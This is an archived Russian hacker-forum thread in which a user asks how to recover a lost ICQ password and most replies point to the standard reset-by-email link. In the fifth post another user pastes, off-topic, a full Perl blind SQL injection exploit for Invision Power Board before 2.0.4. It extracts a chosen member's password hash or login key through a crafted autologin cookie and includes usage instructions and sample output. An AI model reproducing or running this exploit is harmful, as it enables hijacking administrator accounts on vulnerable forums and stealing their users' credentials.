Форумы на Хакер

Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.

Востоновления пароля ICQ

Пользователи, просматривающие топик: none

Зашли как: Guest

Все форумы >> [В Интернете] >> Востоновления пароля ICQ

Имя

Сообщение

<< Старые топики Новые топики >>

Востоновления пароля ICQ - 2007-06-09 09:51:31.543333

urok

Сообщений: 552
Оценки: 0
Присоединился: 2006-11-02 10:56:21.286666

стояла галочка запомнить пароль потом что то произашло и галка слетела а пароль никто не помнит
DAT файла нет в 5.1 пробывал Advanced_IM_Password_Recovery говорит что ICQ обнаружен.
Пароль не найден или не сохранен в местном масштабе.
что посоветуете ?

Post #: 1

RE: Востоновления пароля ICQ - 2007-06-15 22:39:16.326666

Demmon

Сообщений: 12
Оценки: 0
Присоединился: 2007-06-09 23:48:58.116666

если ты во время реги аськи писал мыло, то перейди по ссылке "Забыли пароль" и тебе пришлют новый на мыло)

Post #: 2

RE: Востоновления пароля ICQ - 2007-06-22 14:09:40.143333

Webkill

Сообщений: 606
Оценки: 0
Присоединился: 2007-05-06 06:59:04.066666

Может вспомниш ответ на вопрос?
А вопще интересно как это дело слетело.

Post #: 3

RE: Востоновления пароля ICQ - 2007-06-23 01:27:58.083333

Demmon

Сообщений: 12
Оценки: 0
Присоединился: 2007-06-09 23:48:58.116666

Можно без ответа) Там есть ссылка, типа "если это не те вопросы, на которые вы отвечали…")

Post #: 4

сплойт - 2007-07-06 13:02:18.826666

XAKEPo_LAm3Ep

Сообщений: 26
Оценки: 0
Присоединился: 2007-07-06 10:10:50.653333

Есть исправленный сплойт

#!/usr/bin/perl
 
 ## Invision Power Board SQL injection exploit by RST/GHC
 ## vulnerable forum versions : 1.* , 2.* (&lt;2.0.4)
 ## tested on version 1.3 Final and version 2.0.2 
 ## * work on all mysql versions
 ## * work with magic_quotes On (use %2527 for bypass magic_quotes_gpc = On)
 ## (c)oded by 1dt.w0lf
 ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 ## screen:
 ## ~~~~~~~
 ## r57ipb2.pl blah.com /ipb13/ 1 0
 ## [~]    SERVER : blah.com 
 ## [~]      PATH : /ipb13/
 ## [~] MEMBER ID : 1
 ## [~]    TARGET : 0 - IPB 1.*
 ## [~] SEARCHING PASSWORD ... [ DONE ]
 ##
 ## MEMBER ID : 1
 ## PASSWORD : 5f4dcc3b5aa765d61d8327deb882cf99
 ##
 ## r57ipb2.pl blah.com  /ipb202/ 1 1
 ## [~]    SERVER : blah.com 
 ## [~]      PATH : /ipb202/
 ## [~] MEMBER ID : 1
 ## [~]    TARGET : 1 - IPB 2.*
 ## [~] SEARCHING PASSWORD ... [ DONE ]
 ##
 ## MEMBER ID : 1
 ## MEMBER_LOGIN_KEY : f14c54ff6915dfe3827c08f47617219d
 ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 ## Greets: James Bercegay of the GulfTech Security Research Team 
 ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 ## Credits: RST/GHC , http://rst.void.ru , http://ghc.ru 
 ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 use IO::Socket;
 
 if (@ARGV &lt; 4) { &usage; }
 
 $server    = $ARGV[0];
 $path      = $ARGV[1];
 $member_id = $ARGV[2];
 $target    = $ARGV[3];
 
 $pass = ($target)?('member_login_key'):('password');
 
 $server =~ s!(http:\/\/)!!;
 
 $request  = 'http://';
 $request .= $server;
 $request .= $path;
 
 $s_num = 1;
 $|++;
 $n = 0;
 
 print "[~]    SERVER : $server\r\n";
 print "[~]      PATH : $path\r\n";
 print "[~] MEMBER ID : $member_id\r\n";
 print "[~]    TARGET : $target";
 print (($target)?(' - IPB 2.*'):(' - IPB 1.*'));
 print "\r\n";
 print "[~] SEARCHING PASSWORD ... [|]";
 
 ($cmember_id = $member_id) =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
 
 while(1)
 {
 if(&found(47,58)==0) { &found(96,122); } 
 $char = $i;
 if ($char=="0") 
 { 
 if(length($allchar) &gt; 0){
 print qq{\b\b DONE ] 
 
 MEMBER ID : $member_id
 };
 print (($target)?('MEMBER_LOGIN_KEY : '):('PASSWORD : '));
 print $allchar."\r\n";
 }
 else
 {
 print "\b\b FAILED ]";
 }
 exit();  
 }
 else 
 {  
  $allchar .= chr($i);
 }
 $s_num++;
 }
 
 sub found($$)
 {
 my $fmin = $_[0];
 my $fmax = $_[1];
 if (($fmax-$fmin)&lt;5) { $i=crack($fmin,$fmax); return $i; }
 
 $r = int($fmax - ($fmax-$fmin)/2);
 $check = " BETWEEN $r AND $fmax";
 if ( &check($check) ) { &found($r,$fmax); }
 else { &found($fmin,$r); }
 }
 
 sub crack($$)
 {
 my $cmin = $_[0];
 my $cmax = $_[1];
 $i = $cmin;
 while ($i&lt;$cmax)
  {
  $crcheck = "=$i";
  if ( &check($crcheck) ) { return $i; }
  $i++;
  }
 $i = 0;
 return $i;
 }
 
 sub check($)
 {
 $n++;
 status();
 $ccheck = $_[0];
 $pass_hash1 = "%36%36%36%2527%20%4F%52%20%28%69%64%3D";
 $pass_hash2 = "%20%41%4E%44%20%61%73%63%69%69%28%73%75%62%73%74%72%69%6E%67%28"; 
 $pass_hash3 = $pass.",".$s_num.",1))".$ccheck.") /*";
 $pass_hash3 =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
 $nmalykh    = "%26%231054%3B%26%231081%3B+%26%231088%3B%26%231072%3B%26%231073%3B%26%231086%3B%26%231090%3B%26%231072%3B%26%231077%3B%26%231090%3B%21";
 $socket = IO::Socket::INET-&gt;new( Proto =&gt; "tcp", PeerAddr =&gt; "$server", PeerPort =&gt; "80");
 
 printf $socket ("GET %sindex.php?act=Login&CODE=autologin HTTP/1.0\nHost: %s\nAccept: */*\nCookie: member_id=%s; pass_hash=%s%s%s%s%s\nConnection: close\n\n",
 $path,$server,$cmember_id,$pass_hash1,$cmember_id,$pass_hash2,$pass_hash3,$nmalykh);
 
 while(&lt;$socket&gt;) 
  { 
  if (/Set-Cookie: session_id=0;/) { return 1; }
  } 
 
 return 0;
 }
 
 sub status()
 {
  $status = $n % 5;
  if($status==0){ print "\b\b/]";  }
  if($status==1){ print "\b\b-]";  }
  if($status==2){ print "\b\b\\]"; }
  if($status==3){ print "\b\b|]";  }
 }
 
 sub usage()
 {
 print q(
 Invision Power Board v &lt; 2.0.4 SQL injection exploit
 ----------------------------------------------------
 USAGE:
 ~~~~~~
 r57ipb2.pl [server] [/folder/] [member_id] [target]
 
 [server]    - host where IPB installed
 [/folder/]  - folder where IPB installed
 [member_id] - user id for brute
 
 targets:
          0 - IPB 1.*
          1 - IPB 2.* (Prior To 2.0.4)
 
 e.g. r57ipb2.pl 127.0.0.1 /IPB/ 1 1
 ----------------------------------------------------
 (c)oded by 1dt.w0lf
 RST/GHC , http://rst.void.ru , http://ghc.ru
 );
 exit();
 }

он не работает.Я исправил

quote:

$allchar .= chr(42);

на это

quote:

$allchar .= chr($i);

и все равно………

Post #: 5

RE: Востоновления пароля ICQ - 2007-08-24 18:41:10.120000

VOSKOBB

Сообщений: 192
Оценки: 0
Присоединился: 2007-01-29 13:48:42.430000

quote:

стояла галочка запомнить пароль потом что то произашло и галка слетела а пароль никто не помнит

легко… эта галка такая ненадежная…и её нужно ставить несколько раз..и перегрузить клиент чтобы проверить..так надежнее…сам попадал несколько раз:@

quote:

что посоветуете ?

посоветую впредь быть внимательнее:D

Post #: 6

RE: Востоновления пароля ICQ - 2007-09-13 14:31:10.870000

xacneo

Сообщений: 190
Оценки: 0
Присоединился: 2006-08-16 16:58:14

Заведи новый номер_) :D

Post #: 7

RE: Востоновления пароля ICQ - 2007-09-13 17:20:00.296666

AdReNaL1Ne

Сообщений: 8027
Оценки: 350
Присоединился: 2005-09-11 06:38:05

Нда… Кто о чём…

Post #: 8

Страниц: [1]

Все форумы >> [В Интернете] >> Востоновления пароля ICQ

Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.